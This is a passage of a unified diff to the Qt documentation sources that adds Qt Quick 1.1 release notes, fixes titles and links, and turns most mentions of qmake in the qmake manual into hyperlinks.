+In this case, we specify that our text element should be horizontally centered in the \e page element (see \l{anchor-layout}{Anchor-Based Layout}).
The \c font.pointSize and \c font.bold properties are related to fonts and use the \l{dot properties}{dot notation}.
@@ -156,7 +156,7 @@ We will use this signal to change the color of the text in the main QML file lat
Our cell component is basically a colored rectangle with the \c id \e rectangle.
The \c anchors.fill property is a convenient way to set the size of an element.
-In this case the rectangle will have the same size as its parent (see \l{anchor-layout}{Anchor-based Layout}).
+In this case the rectangle will have the same size as its parent (see \l{anchor-layout}{Anchor-Based Layout}).
\snippet examples/declarative/tutorials/helloworld/Cell.qml 3
diff --git a/doc/src/declarative/whatsnew.qdoc b/doc/src/declarative/whatsnew.qdoc
index a3ba522..f4359f9 100644
--- a/doc/src/declarative/whatsnew.qdoc
+++ b/doc/src/declarative/whatsnew.qdoc
@@ -29,7 +29,113 @@
\title What's new in Qt Quick
\page qtquick-whatsnew.html
-\section1 4.7.1
+\section1 Qt 4.7.3 includes QtQuick 1.1
+
+QtQuick 1.1 is a minor feature update.
+
+\section2 PinchArea
+
+PinchArea provides support for the common two finger pinch gesture.
+
+\section2 Text
+
+Added the following properties:
+\list
+\o lineSpacing
+\o lineCount
+\o maximumLineCount
+\o truncated
+\endlist
+
+horizontalAlignment now accepts Text.AlignJustify alignment mode.
+
+\section2 TextEdit
+
+Added the following properties, methods and signal handlers:
+\list
+\o canPaste
+\o lineCount
+\o deselect()
+\o moveCursorSelection(int pos, SelectionMode mode) to enable selection by word
+\o onLinkActivated(string link)
+\endlist
+
+\section2 TextInput
+
+Added the following properties and methods:
+\list
+\o canPaste
+\o deselect()
+\o moveCursorSelection(int pos, SelectionMode mode) to enable selection by word
+\endlist
+
+\section2 Image, BorderImage and AnimatedImage
+
+Added the following properties:
+\list
+\o cache
+\o mirror
+\endlist
+
+\section2 Item
+
+Added the following properties:
+\list
+\o implicitWidth and implicitHeight
+\endlist
+
+\section2 Flickable
+
+Added the following methods:
+\list
+\o resizeContent(qreal w, qreal h, QPointF center)
+\o returnToBounds()
+\endlist
+
+\section2 ListView and GridView
+
+Added the following methods:
+\list
+\o positionViewAtBeginning()
+\o positionViewAtEnd()
+\endlist
+
+\section2 Flow, Grid, Row
+
+Added the following properties:
+\list
+\o layoutDirection
+\endlist
+
+\section2 Repeater
+
+Added the following methods and signal handlers:
+\list
+\o onItemAdded()
+\o onItemRemoved()
+\o itemAt(int index)
+\endlist
+
+\section2 Component
+
+The createObject() method now accepts a map of initial property values for the created object.
+
+\section2 Qt
+
+Added the following properties and methods:
+\list
+\o application.layoutDirection
+\o application.active
+\endlist
+
+\section2 Other changes
+
+\list
+\o Functions can be assigned to properties from JavaScript to create property bindings
+\endlist
+
+
+\section1 Qt 4.7.1
\section2 QtQuick namespace
diff --git a/doc/src/demos/mediaplayer.qdoc b/doc/src/demos/mediaplayer.qdoc
index 11fc110..3eeb313 100644
--- a/doc/src/demos/mediaplayer.qdoc
+++ b/doc/src/demos/mediaplayer.qdoc
@@ -32,5 +32,5 @@
The Media Player demonstration shows how \l{Phonon Module}{Phonon}
can be used in Qt applications to handle audio and video playback.
- \image mediaplayer-demo.png
+ \image qmediaplayer-demo.png
*/
diff --git a/doc/src/deployment/deployment.qdoc b/doc/src/deployment/deployment.qdoc
index 4817058..bc80ed3 100644
--- a/doc/src/deployment/deployment.qdoc
+++ b/doc/src/deployment/deployment.qdoc
@@ -1550,8 +1550,8 @@
\note If you want to have your application properly Symbian Signed for distribution,
you will have to properly sign both the application and the application installer packages.
Please see
- \l{http://developer.symbian.org/wiki/index.php/Category:Symbian_Signed}
- {Symbian Signed wiki} for more information about Symbian Signed.
+ \l{http://wiki.forum.nokia.com/index.php/Category:Symbian_Signed}
+ {Forum Nokia Wiki} for more information about Symbian Signed.
For more information about creating a \c .sis file and installing it to device see also
\l {The Symbian platform - Introduction to Qt#Installing your own applications}{here}.
diff --git a/doc/src/development/developing-with-qt.qdoc b/doc/src/development/developing-with-qt.qdoc
index 3971f3e..870d47c 100644
--- a/doc/src/development/developing-with-qt.qdoc
+++ b/doc/src/development/developing-with-qt.qdoc
@@ -28,7 +28,7 @@
/*!
\page developing-with-qt.html
- \title Cross-platform & Platform-specific Development
+ \title Cross-Platform and Platform-Specific Development
Qt allows you to write advanced applications and UIs once, and deploy them
across desktop and embedded operating systems without rewriting the source
code. The top section of this page provides an overview of the tools and
@@ -37,7 +37,7 @@
links to documents that describe platform-specific features provided by Qt,
and discuss issues related to particular platforms and environments.
- \section1 Cross-platform Development with Qt
+ \section1 Cross-Platform Development with Qt
Qt is provided with a set of build tools to help developers automate
the process of building and installing Qt applications.
@@ -68,7 +68,7 @@
\endlist
\endtable
- \section1 Platform-specific Development with Qt
+ \section1 Platform-Specific Development with Qt
These documents describe platform-specific features provided by Qt, and
discuss issues related to particular platforms and environments.
@@ -110,6 +110,4 @@
\o Collections of notes about Qt implementations on different window systems.
\endlist
\endtable
-
-
*/
diff --git a/doc/src/development/qmake-manual.qdoc b/doc/src/development/qmake-manual.qdoc
index 84d6d5f..373254c 100644
--- a/doc/src/development/qmake-manual.qdoc
+++ b/doc/src/development/qmake-manual.qdoc
@@ -34,26 +34,26 @@
\ingroup qttools
\keyword qmake
- \c qmake is a tool that helps simplify the build
- process for development project across different platforms. \c qmake
+ \l {qmake}{ \c qmake} is a tool that helps simplify the build
+ process for development project across different platforms. \l {qmake}{ \c qmake}
automates the generation of Makefiles so that only a few lines of
- information are needed to create each Makefile. \c qmake can be used for
+ information are needed to create each Makefile. \l {qmake}{ \c qmake} can be used for
any software project, whether it is written in Qt or not.
- \c qmake generates a Makefile based on the information in a project
+ \l {qmake}{ \c qmake} generates a Makefile based on the information in a project
file. Project files are created by the developer, and are usually
simple, but more sophisticated project files can be created for
complex projects.
- \c qmake contains additional features to support development with Qt,
+ \l {qmake}{ \c qmake} contains additional features to support development with Qt,
automatically including build rules for \l{moc.html}{moc}
and \l{uic.html}{uic}.
- \c qmake can also generate projects for Microsoft Visual studio
+ \l {qmake}{ \c qmake} can also generate projects for Microsoft Visual studio
without requiring the developer to change the project file.
\section1 Getting Started
The \l{qmake Tutorial} and guide to \l{qmake Common Projects} provide overviews
- that aim to help new users get started with \c qmake.
+ that aim to help new users get started with \l {qmake}{ \c qmake}.
\list
\o \l{qmake Tutorial}
@@ -98,22 +98,22 @@
\previouspage qmake Manual
\nextpage qmake Project Files
- \c qmake provides a project-oriented system for managing the build
+ \l {qmake}{ \c qmake} provides a project-oriented system for managing the build
process for applications, libraries, and other components. This
approach gives developers control over the source files used, and
allows each of the steps in the process to be described concisely,
- typically within a single file. \c qmake expands the information in
+ typically within a single file. \l {qmake}{ \c qmake} expands the information in
each project file to a Makefile that executes the necessary commands
for compiling and linking.
In this document, we provide a basic introduction to project files,
- describe some of the main features of \c qmake, and show how to use
- \c qmake on the command line.
+ describe some of the main features of \l {qmake}{ \c qmake}, and show how to use
+ \l {qmake}{ \c qmake} on the command line.
\section1 Describing a Project
Projects are described by the contents of project (\c .pro) files.
- The information within these is used by \c qmake to generate a Makefile
+ The information within these is used by \l {qmake}{ \c qmake} to generate a Makefile
containing all the commands that are needed to build each project.
Project files typically contain a list of source and header files,
general configuration information, and any application-specific details,
@@ -134,12 +134,12 @@
\section1 Building a Project
- For simple projects, you only need to run \c qmake in the top
- level directory of your project. By default, \c qmake generates a
+ For simple projects, you only need to run \l {qmake}{ \c qmake} in the top
+ level directory of your project. By default, \l {qmake}{ \c qmake} generates a
Makefile that you then use to build the project, and you can then
run your platform's \c make tool to build the project.
- \c qmake can also be used to generate project files. A full
+ \l {qmake}{ \c qmake} can also be used to generate project files. A full
description of \c{qmake}'s command line options can be found in the
\l{Running qmake} chapter of this manual.
@@ -157,7 +157,7 @@
\previouspage Using qmake
\nextpage Running qmake
- Project files contain all the information required by \c qmake to build
+ Project files contain all the information required by \l {qmake}{ \c qmake} to build
your application, library, or plugin. The resources used by your project
are generally specified using a series of declarations, but support for
simple programming constructs allow you to describe different build
@@ -167,7 +167,7 @@
\section1 Project File Elements
- The project file format used by \c qmake can be used to support both
+ The project file format used by \l {qmake}{ \c qmake} can be used to support both
simple and fairly complex build systems. Simple project files will
use a straightforward declarative style, defining standard variables
to indicate the source and header files that are used in the project.
@@ -180,14 +180,14 @@
\section2 Variables
In a project file, variables are used to hold lists of strings.
- In the simplest projects, these variables inform \c qmake about the
+ In the simplest projects, these variables inform \l {qmake}{ \c qmake} about the
configuration options to use, or supply filenames and paths to use
in the build process.
- \c qmake looks for certain variables in each project file, and it
+ \l {qmake}{ \c qmake} looks for certain variables in each project file, and it
uses the contents of these to determine what it should write to a
Makefile. For example, the list of values in the \c HEADERS and
- \c SOURCES variables are used to tell \c qmake about header and
+ \c SOURCES variables are used to tell \l {qmake}{ \c qmake} about header and
source files in the same directory as the project file.
Variables can also be used internally to store temporary lists of values,
@@ -206,13 +206,13 @@
\snippet doc/src/snippets/qmake/variables.pro 1
- The \c CONFIG variable is another special variable that \c qmake
+ The \c CONFIG variable is another special variable that \l {qmake}{ \c qmake}
uses when generating a Makefile. It is discussed in the section on
\l{#GeneralConfiguration}{general configuration} later in this chapter.
In the above line, \c qt is added to the list of existing values
contained in \c CONFIG.
- The following table lists the variables that \c qmake recognizes, and
+ The following table lists the variables that \l {qmake}{ \c qmake} recognizes, and
describes what they should contain.
\table
@@ -276,7 +276,7 @@
\section2 Built-in Functions and Control Flow
- \c qmake provides a number of built-in functions to allow the contents
+ \l {qmake}{ \c qmake} provides a number of built-in functions to allow the contents
of variables to be processed. The most commonly used function in simple
project files is the \c include function which takes a filename as an
argument. The contents of the given file are included in the project
@@ -295,7 +295,7 @@
The assignments inside the braces are only made if the condition is
true. In this case, the special \c win32 variable must be set; this
happens automatically on Windows, but this can also be specified on
- other platforms by running \c qmake with the \c{-win32} command line
+ other platforms by running \l {qmake}{ \c qmake} with the \c{-win32} command line
option (see \l{Running qmake} for more information). The opening
brace must stand on the same line as the condition.
@@ -316,15 +316,15 @@
\section1 Project Templates
The \c TEMPLATE variable is used to define the type of project that will
- be built. If this is not declared in the project file, \c qmake assumes
+ be built. If this is not declared in the project file, \l {qmake}{ \c qmake} assumes
that an application should be built, and will generate an appropriate
Makefile (or equivalent file) for the purpose.
The types of project available are listed in the following table with
- information about the files that \c qmake will generate for each of them:
+ information about the files that \l {qmake}{ \c qmake} will generate for each of them:
\table
- \header \o Template \o Description of \c qmake output
+ \header \o Template \o Description of \l {qmake}{ \c qmake}output
\row \o app (default) \o Creates a Makefile to build an application.
\row \o lib \o Creates a Makefile to build a library.
\row \o subdirs \o Creates a Makefile containing rules for the
@@ -339,7 +339,7 @@
See the \l{qmake Tutorial} for advice on writing project files for
projects that use the \c app and \c lib templates.
- When the \c subdirs template is used, \c qmake generates a Makefile
+ When the \c subdirs template is used, \l {qmake}{ \c qmake} generates a Makefile
to examine each specified subdirectory, process any project file it finds
there, and run the platform's \c make tool on the newly-created Makefile.
The \l{qmake Variable Reference#SUBDIRS}{SUBDIRS} variable is used to
@@ -351,7 +351,7 @@
The \l{qmake Variable Reference#CONFIG}{CONFIG variable} specifies the
options and features that the compiler should use and the libraries that
should be linked against. Anything can be added to the \c CONFIG variable,
- but the options covered below are recognized by \c qmake internally.
+ but the options covered below are recognized by \l {qmake}{ \c qmake} internally.
The following options control the compiler flags that are used to build the
project:
@@ -380,7 +380,7 @@
The \c debug_and_release option is special in that it enables \e both debug and
release versions of a project to be built. In such a case, the Makefile that
- \c qmake generates includes a rule that builds both versions, and this can be
+ \l {qmake}{ \c qmake} generates includes a rule that builds both versions, and this can be
invoked in the following way:
\snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 0
@@ -428,7 +428,7 @@
\snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 1
- Note, that you must use "+=", not "=", or \c qmake will not be able to
+ Note, that you must use "+=", not "=", or \l {qmake}{ \c qmake} will not be able to
use Qt's configuration to determine the settings needed for your project.
\section1 Declaring Qt Libraries
@@ -478,13 +478,13 @@
\section1 Configuration Features
- \c qmake can be set up with extra configuration features that are specified
+ \l {qmake}{ \c qmake} can be set up with extra configuration features that are specified
in feature (.prf) files. These extra features often provide support for
custom tools that are used during the build process. To add a feature to
the build process, append the feature name (the stem of the feature filename)
to the \c CONFIG variable.
- For example, \c qmake can configure the build process to take advantage
+ For example, \l {qmake}{ \c qmake} can configure the build process to take advantage
of external libraries that are supported by
\l{http://www.freedesktop.org/wiki/Software_2fpkgconfig}{pkg-config},
such as the D-Bus and ogg libraries, with the following lines:
@@ -501,7 +501,7 @@
If you are using other libraries in your project in addition to those
supplied with Qt, you need to specify them in your project file.
- The paths that \c qmake searches for libraries and the specific libraries
+ The paths that \l {qmake}{ \c qmake} searches for libraries and the specific libraries
to link against can be added to the list of values in the
\l{qmake Variable Reference#LIBS}{LIBS} variable. The paths to the libraries
themselves can be given, or the familiar Unix-style notation for specifying
@@ -527,7 +527,7 @@
\previouspage qmake Project Files
\nextpage qmake Platform Notes
- The behavior of \c qmake can be customized when it is run by
+ The behavior of \l {qmake}{ \c qmake} can be customized when it is run by
specifying various options on the command line. These allow the
build process to be fine-tuned, provide useful diagnostic
information, and can be used to specify the target platform for
@@ -540,13 +540,13 @@
\section2 Syntax
- The syntax used to run \c qmake takes the following simple form:
+ The syntax used to run \l {qmake}{ \c qmake} takes the following simple form:
\snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 8
- \c qmake supports two different modes of operation: In the default mode,
- \c qmake will use the description in a project file to generate a Makefile,
- but it is also possible to use \c qmake to generate project files.
+ \l {qmake}{ \c qmake} supports two different modes of operation: In the default mode,
+ \l {qmake}{ \c qmake} will use the description in a project file to generate a Makefile,
+ but it is also possible to use \l {qmake}{ \c qmake} to generate project files.
If you want to explicitly set the mode, you must specify it before all
other options. The \c mode can be either of the following two values:
@@ -555,7 +555,8 @@
\c qmake output will be a Makefile.
\o \c -project \BR
\c qmake output will be a project file. \BR
-\bold{Note:} It is likely that the created file will need to be edited for example adding the \c QT variable to suit what modules are required for the project.
+ \bold{Note:} It is likely that the created file will need to be edited; for example,
+ adding the \c QT variable to suit what modules are required for the project.
\endlist
The following \c options are used to specify both general and mode-specific
@@ -569,10 +570,10 @@
\section2 Options
- A wide range of options can be specified on the command line to \c qmake in
+ A wide range of options can be specified on the command line to \l {qmake}{ \c qmake} in
order to customize the build process, and to override default settings for
your platform. The following basic options provide usage information, specify
- where \c qmake writes the output file, and control the level of debugging
+ where \l {qmake}{ \c qmake} writes the output file, and control the level of debugging
information that will be written to the console:
\list
@@ -588,7 +589,7 @@
\endlist
For projects that need to be built differently on each target platform, with
- many subdirectories, you can run \c qmake with each of the following
+ many subdirectories, you can run \l {qmake}{ \c qmake} with each of the following
options to set the corresponding platform-specific variable in each
project file:
@@ -642,7 +643,7 @@
\snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 9
- In Makefile mode, \c qmake will generate a Makefile that is used to build the
+ In Makefile mode, \l {qmake}{ \c qmake} will generate a Makefile that is used to build the
project. Additionally, the following options may be used in this mode to
influence the way the project file is generated:
@@ -662,7 +663,7 @@
and the value of \c QMAKESPEC will be ignored.
\endlist
- You may also pass \c qmake assignments on the command line;
+ You may also pass \l {qmake}{ \c qmake} assignments on the command line;
they will be processed before all of the files specified. For example:
\snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 10
@@ -683,7 +684,7 @@
\snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 12
- In project mode, \c qmake will generate a project file. Additionally, you
+ In project mode, \l {qmake}{ \c qmake} will generate a project file. Additionally, you
may supply the following options in this mode:
\list
@@ -714,7 +715,7 @@
Many cross-platform projects can be handled by the \c{qmake}'s basic
configuration features. On some platforms, it is sometimes useful, or even
- necessary, to take advantage of platform-specific features. \c qmake knows
+ necessary, to take advantage of platform-specific features. \l {qmake}{ \c qmake} knows
about many of these features, and these can be accessed via specific
variables that only have an effect on the platforms where they are relevant.
@@ -727,15 +728,15 @@
\section2 Source and Binary Packages
- The version of \c qmake supplied in source packages is configured slightly
+ The version of \l {qmake}{ \c qmake} supplied in source packages is configured slightly
differently to that supplied in binary packages in that it uses a different
feature specification. Where the source package typically uses the
\c macx-g++ specification, the binary package is typically configured to
use the \c macx-xcode specification.
- Users of each package can override this configuration by invoking \c qmake
+ Users of each package can override this configuration by invoking \l {qmake}{ \c qmake}
with the \c -spec option (see \l{Running qmake} for more information). This
- makes it possible, for example, to use \c qmake from a binary package to
+ makes it possible, for example, to use \l {qmake}{ \c qmake} from a binary package to
create a Makefile in a project directory with the following command line
invocation:
@@ -743,7 +744,7 @@
\section2 Using Frameworks
- \c qmake is able to automatically generate build rules for linking against
+ \l {qmake}{ \c qmake} is able to automatically generate build rules for linking against
frameworks in the standard framework directory on Mac OS X, located at
\c{/Library/Frameworks/}.
@@ -803,7 +804,7 @@
The architectures to be supported in the binary are specified with the
\l{qmake Variable Reference#CONFIG}{CONFIG} variable. For example, the
- following assignment causes \c qmake to generate build rules to create
+ following assignment causes \l {qmake}{ \c qmake} to generate build rules to create
a universal binary for both PowerPC and x86 architectures:
\snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 18
@@ -818,12 +819,12 @@
Developers on Mac OS X can take advantage of \c{qmake}'s support for Xcode
project files, as described in
\l{Qt is Mac OS X Native#Development Tools}{Qt is Mac OS X Native},
- by running \c qmake to generate an Xcode project from an existing \c qmake
+ by running \l {qmake}{ \c qmake} to generate an Xcode project from an existing \l {qmake}{ \c qmake}
project files. For example:
\snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 19
- Note that, if a project is later moved on the disk, \c qmake must be run
+ Note that, if a project is later moved on the disk, \l {qmake}{ \c qmake} must be run
again to process the project file and create a new Xcode project file.
\section2 On supporting two build targets simultaneously
@@ -862,8 +863,8 @@
\l{Qt Commercial Edition} and do not need to worry about how
project dependencies are managed.
- However, some developers may need to import an existing \c qmake project
- into Visual Studio. \c qmake is able to take a project file and create a
+ However, some developers may need to import an existing \l {qmake}{ \c qmake} project
+ into Visual Studio. \l {qmake}{ \c qmake} is able to take a project file and create a
Visual Studio project that contains all the necessary information required
by the development environment. This is achieved by setting the \c qmake
\l{qmake Variable Reference#TEMPLATE}{project template} to either \c vcapp
@@ -878,7 +879,7 @@
\snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 21
- Each time you update the project file, you need to run \c qmake to generate
+ Each time you update the project file, you need to run \l {qmake}{ \c qmake} to generate
an updated Visual Studio project.
\note If you are using the Visual Studio Add-in, you can import \c .pro
@@ -1011,7 +1012,7 @@
\section1 Variable Reference
The \l{qmake Variable Reference} describes the variables that are
- recognized by \c qmake when configuring the build process for
+ recognized by \l {qmake}{ \c qmake}when configuring the build process for
projects.
\section1 Function Reference
@@ -1061,7 +1062,7 @@
\section1 Environment Variables and Configuration
The \l{Configuring qmake's Environment} chapter of this manual
- describes the environment variables that \c qmake uses when
+ describes the environment variables that \l {qmake}{ \c qmake} uses when
configuring the build process.
*/
@@ -1117,7 +1118,7 @@
The \c CONFIG variable specifies project configuration and
compiler options. The values will be recognized internally by
- \c qmake and have special meaning. They are as follows.
+ \l {qmake}{ \c qmake} and have special meaning. They are as follows.
These \c CONFIG values control compilation flags:
@@ -1153,23 +1154,23 @@
defined in the \c CONFIG variable, it is necessary to use the
\c debug_and_release option if you want to allow both debug and release
versions of a project to be built. In such a case, the Makefile that
- \c qmake generates includes a rule that builds both versions, and this can
+ \l {qmake}{ \c qmake} generates includes a rule that builds both versions, and this can
be invoked in the following way:
\snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 24
- When linking a library, \c qmake relies on the underlying platform to know
+ When linking a library, \l {qmake}{ \c qmake} relies on the underlying platform to know
what other libraries this library links against. However, if linking
- statically, \c qmake will not get this information unless we use the following
+ statically, \l {qmake}{ \c qmake} will not get this information unless we use the following
\c CONFIG options:
\table 95%
\header \o Option \o Description
- \row \o create_prl \o This option enables \c qmake to track these
- dependencies. When this option is enabled, \c qmake will create a file
+ \row \o create_prl \o This option enables \l {qmake}{ \c qmake} to track these
+ dependencies. When this option is enabled, \l {qmake}{ \c qmake} will create a file
ending in \c .prl which will save meta-information about the library
(see \l{LibDepend}{Library Dependencies} for more info).
- \row \o link_prl \o When this is enabled, \c qmake will process all
+ \row \o link_prl \o When this is enabled, \l {qmake}{ \c qmake} will process all
libraries linked to by the application and find their meta-information
(see \l{LibDepend}{Library Dependencies} for more info).
\endtable
@@ -1323,7 +1324,7 @@
\target DEFINES
\section1 DEFINES
- \c qmake adds the values of this variable as compiler C
+ \l {qmake}{ \c qmake} adds the values of this variable as compiler C
preprocessor macros (-D option).
For example:
@@ -1554,9 +1555,9 @@
\target DESTDIR_TARGET
\section1 DESTDIR_TARGET
- This variable is set internally by \c qmake, which is basically the
+ This variable is set internally by \l {qmake}{ \c qmake}, which is basically the
\c DESTDIR variable with the \c TARGET variable appened at the end.
- The value of this variable is typically handled by \c qmake or
+ The value of this variable is typically handled by \l {qmake}{ \c qmake} or
\l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
\target DLLDESTDIR
@@ -1577,9 +1578,9 @@
\target DSP_TEMPLATE
\section1 DSP_TEMPLATE
- This variable is set internally by \c qmake, which specifies where the
+ This variable is set internally by \l {qmake}{ \c qmake}, which specifies where the
dsp template file for basing generated dsp files is stored. The value
- of this variable is typically handled by \c qmake or
+ of this variable is typically handled by \l {qmake}{ \c qmake} or
\l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
\target FORMS
@@ -1625,9 +1626,9 @@
Defines the header files for the project.
- \c qmake will generate dependency information (unless \c -nodepend
+ \l {qmake}{ \c qmake} will generate dependency information (unless \c -nodepend
is specified on the \l{Running qmake#Commands}{command line})
- for the specified headers. \c qmake will also automatically detect if
+ for the specified headers. \l {qmake}{ \c qmake} will also automatically detect if
\c moc is required by the classes in these headers, and add the
appropriate dependencies and files to the project for generating and
linking the moc files.
@@ -1678,14 +1679,14 @@
\snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 36
- Note that \c qmake will skip files that are executable. If you need to install
+ Note that \l {qmake}{ \c qmake} will skip files that are executable. If you need to install
executable files, you can unset the files' executable flags.
\target LEXIMPLS
\section1 LEXIMPLS
This variable contains a list of lex implementation files. The value
- of this variable is typically handled by \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely
+ of this variable is typically handled by \l {qmake}{ \c qmake} or \l{#QMAKESPEC}{qmake.conf} and rarely
needs to be modified.
\target LEXOBJECTS
@@ -1693,7 +1694,7 @@
This variable contains the names of intermediate lex object
files.The value of this variable is typically handled by
- \c qmake and rarely needs to be modified.
+ \l {qmake}{ \c qmake} and rarely needs to be modified.
\target LEXSOURCES
\section1 LEXSOURCES
@@ -1768,9 +1769,9 @@
\section1 MAKEFILE
This variable specifies the name of the Makefile which
- \c qmake should use when outputting the dependency information
+ \l {qmake}{ \c qmake} should use when outputting the dependency information
for building a project. The value of this variable is typically
- handled by \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
+ handled by \l {qmake}{ \c qmake} or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
\bold{Note:} On the Symbian platform, this variable is ignored.
@@ -1779,7 +1780,7 @@
This variable contains the name of the Makefile generator to use
when generating a Makefile. The value of this variable is typically
- handled internally by \c qmake and rarely needs to be modified.
+ handled internally by \l {qmake}{ \c qmake} and rarely needs to be modified.
\target MMP_RULES
\section1 MMP_RULES
@@ -1835,7 +1836,7 @@
This variable is generated from the \link #SOURCES SOURCES
\endlink variable. The extension of each source file will have been
replaced by .o (Unix) or .obj (Win32). The value of this variable is
- typically handled by \c qmake or \l{#QMAKESPEC}{qmake.conf} and
+ typically handled by \l {qmake}{ \c qmake} or \l{#QMAKESPEC}{qmake.conf} and
rarely needs to be modified.
\target OBJECTS_DIR
@@ -1851,10 +1852,10 @@
\target OBJMOC
\section1 OBJMOC
- This variable is set by \c qmake if files can be found that
+ This variable is set by \l {qmake}{ \c qmake} if files can be found that
contain the Q_OBJECT macro. \c OBJMOC contains the
name of all intermediate moc object files. The value of this variable
- is typically handled by \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be
+ is typically handled by \l {qmake}{ \c qmake} or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be
modified.
\target POST_TARGETDEPS
@@ -1894,38 +1895,47 @@
This variable contains a list of header files that require some
sort of pre-compilation step (such as with moc). The value of this
- variable is typically handled by \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be
+ variable is typically handled by \l {qmake}{ \c qmake} or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be
modified.
\target PWD
\section1 PWD
- This variable contains the full path leading to the directory where
- the \c qmake project file (project.pro) is located.
+ The \c PWD variable specifies the full path leading to the directory
+ containing the current file being parsed. This can be useful
+ to refer to files within the source tree when writing project files to
+ support shadow builds.
+
+ See also \l{#_PRO_FILE_PWD_}{_PRO_FILE_PWD_}.
+
+ \note IN_PWD is an alias for PWD.
+
+ \note Function calls have no effect on the value of PWD. PWD will refer to
+ the path of the calling file.
\target OUT_PWD
\section1 OUT_PWD
This variable contains the full path leading to the directory where
- \c qmake places the generated Makefile.
+ \l {qmake}{ \c qmake} places the generated Makefile.
\target QMAKE_systemvariable
\section1 QMAKE
- This variable contains the name of the \c qmake program
+ This variable contains the name of the \l {qmake}{ \c qmake} program
itself and is placed in generated Makefiles. The value of this
- variable is typically handled by \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be
+ variable is typically handled by \l {qmake}{ \c qmake} or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be
modified.
\target QMAKESPEC_systemvariable
\section1 QMAKESPEC
- This variable contains the name of the \c qmake
+ This variable contains the name of the \l {qmake}{ \c qmake}
configuration to use when generating Makefiles. The value of this
- variable is typically handled by \c qmake and rarely needs to be modified.
+ variable is typically handled by \l {qmake}{ \c qmake} and rarely needs to be modified.
- Use the \c{QMAKESPEC} environment variable to override the \c qmake configuration.
- Note that, due to the way \c qmake reads project files, setting the \c{QMAKESPEC}
+ Use the \c{QMAKESPEC} environment variable to override the \l {qmake}{ \c qmake} configuration.
+ Note that, due to the way \l {qmake}{ \c qmake} reads project files, setting the \c{QMAKESPEC}
environment variable from within a project file will have no effect.
\target QMAKE_APP_FLAG
@@ -1933,7 +1943,7 @@
This variable is empty unless the \c app
\l{#TEMPLATE}{TEMPLATE} is specified. The value of this
- variable is typically handled by \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be
+ variable is typically handled by \l {qmake}{ \c qmake} or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be
modified. Use the following instead:
\snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 42
@@ -1943,7 +1953,7 @@
This variable is empty unless the \c app or \c dll
\l{#TEMPLATE}{TEMPLATE} is specified. The value of this
- variable is typically handled by \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be
+ variable is typically handled by \l {qmake}{ \c qmake} or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be
modified.
\target QMAKE_AR_CMD
@@ -1953,7 +1963,7 @@
This variable contains the command for invoking the program which
creates, modifies and extracts archives. The value of this variable is
- typically handled by \c qmake or \l{#QMAKESPEC}{qmake.conf}
+ typically handled by \l {qmake}{ \c qmake} or \l{#QMAKESPEC}{qmake.conf}
and rarely needs to be modified.
\target QMAKE_BUNDLE_DATA
@@ -2003,7 +2013,7 @@
\section1 QMAKE_CFLAGS_DEBUG
This variable contains the flags for the C compiler in debug mode.The value of this variable is
- typically handled by \c qmake or \l{#QMAKESPEC}{qmake.conf}
+ typically handled by \l {qmake}{ \c qmake} or \l{#QMAKESPEC}{qmake.conf}
and rarely needs to be modified.
\target QMAKE_CFLAGS_MT
@@ -2012,7 +2022,7 @@
This variable contains the compiler flags for creating a
multi-threaded application or when the version of Qt that you link
against is a multi-threaded statically linked library. The value of
- this variable is typically handled by \c qmake or
+ this variable is typically handled by \l {qmake}{ \c qmake} or
\l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
\target QMAKE_CFLAGS_MT_DBG
@@ -2021,7 +2031,7 @@
This variable contains the compiler flags for creating a debuggable
multi-threaded application or when the version of Qt that you link
against is a debuggable multi-threaded statically linked library. The
- value of this variable is typically handled by \c qmake or
+ value of this variable is typically handled by \l {qmake}{ \c qmake} or
\l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
\target QMAKE_CFLAGS_MT_DLL
@@ -2032,7 +2042,7 @@
This variable contains the compiler flags for creating a
multi-threaded dll or when the version of Qt that you link
against is a multi-threaded dll. The value of this variable is typically
- handled by \c qmake or \l{#QMAKESPEC}{qmake.conf} and
+ handled by \l {qmake}{ \c qmake} or \l{#QMAKESPEC}{qmake.conf} and
rarely needs to be modified.
\target QMAKE_CFLAGS_MT_DLLDBG
@@ -2043,7 +2053,7 @@
This variable contains the compiler flags for creating a debuggable
multi-threaded dll or when the version of Qt that you link
against is a debuggable multi-threaded statically linked library.
- The value of this variable is typically handled by \c qmake or
+ The value of this variable is typically handled by \l {qmake}{ \c qmake} or
\l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified.
\target QMAKE_CFLAGS_RELEASE
@@ -2051,7 +2061,7 @@
This variable contains the compiler flags for creating a non-debuggable
application. The value of this variable is typically
- handled by \c qmake or \l{#QMAKESPEC}{qmake.conf} and
+ handled by \l {qmake}{ \c qmake} or \l{#QMAKESPEC}{qmake.conf} and
rarely needs to be modified.
\target QMAKE_CFLAGS_SHLIB
@@ -2061,7 +2071,7 @@
This variable contains the compiler flags for creating a shared
library. The value of this variable is typically handled by
- \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely needs
